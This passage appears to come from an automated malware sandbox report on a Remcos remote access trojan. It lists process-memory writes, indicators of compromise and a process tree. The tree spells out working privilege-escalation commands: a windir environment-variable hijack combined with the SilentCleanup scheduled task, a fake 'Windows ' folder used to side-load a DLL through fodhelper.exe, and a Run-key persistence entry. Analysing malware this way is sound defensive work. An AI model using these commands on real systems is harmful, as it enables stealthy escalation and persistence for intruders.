1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 1788 wrote to memory of 4108 1788 cmd.exe 75 PID 1788 wrote to memory of 4108 1788 cmd.exe 75 PID 1788 wrote to memory of 4108 1788 cmd.exe 75 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 1788 wrote to memory of 4136 1788 cmd.exe 76 PID 1788 wrote to memory of 4136 1788 cmd.exe 76 PID 1788 wrote to memory of 4136 1788 cmd.exe 76 PID 1880 wrote to memory of 4156 1880 TapiUnattend.exe 77 PID 1880 wrote to memory of 4156 1880 TapiUnattend.exe 77 PID 1880 wrote to memory of 4156 1880 TapiUnattend.exe 77 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 3176 wrote to memory of 1772 3176 remcos.exe 74 PID 1788 wrote to memory of 4216 1788 cmd.exe 79 PID 1788 wrote to memory of 4216 1788 cmd.exe 79 PID 1788 wrote to memory of 4216 1788 cmd.exe 79 PID 4156 wrote to memory of 4268 4156 cmd.exe 80 PID 4156 wrote to memory of 4268 4156 cmd.exe 80 PID 4268 wrote to memory of 4304 4268 fodhelper.exe 81 PID 4268 wrote to memory of 4304 4268 fodhelper.exe 81 -
Executes dropped EXE 1 IoCs
pid Process 4268 fodhelper.exe -
Loads dropped DLL 1 IoCs
pid Process 4268 fodhelper.exe -
Adds Run entry to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\Vxmn = "C:\\Users\\Admin\\AppData\\Local\\Vxmn\\Vxmn.hta" remcos.exe -
Modifies registry key 1 TTPs 3 IoCs
pid Process 408 reg.exe 4108 reg.exe 4216 reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
Processes
-
C:\Users\Admin\AppData\Local\Temp\remcos.exe"C:\Users\Admin\AppData\Local\Temp\remcos.exe"1⤵
- Suspicious use of WriteProcessMemory
- Adds Run entry to start application
PID:3176 -
C:\Windows\SysWOW64\TapiUnattend.exe"C:\Windows\System32\TapiUnattend.exe"2⤵PID:1880
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat3⤵PID:1788
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:408
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:4108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:4136
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:4216
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\Runex.bat3⤵PID:4156
-
C:\Windows \System32\fodhelper.exe"C:\Windows \System32\fodhelper.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4268 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Public\x.bat5⤵PID:4304
-
-
-
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵PID:1772
-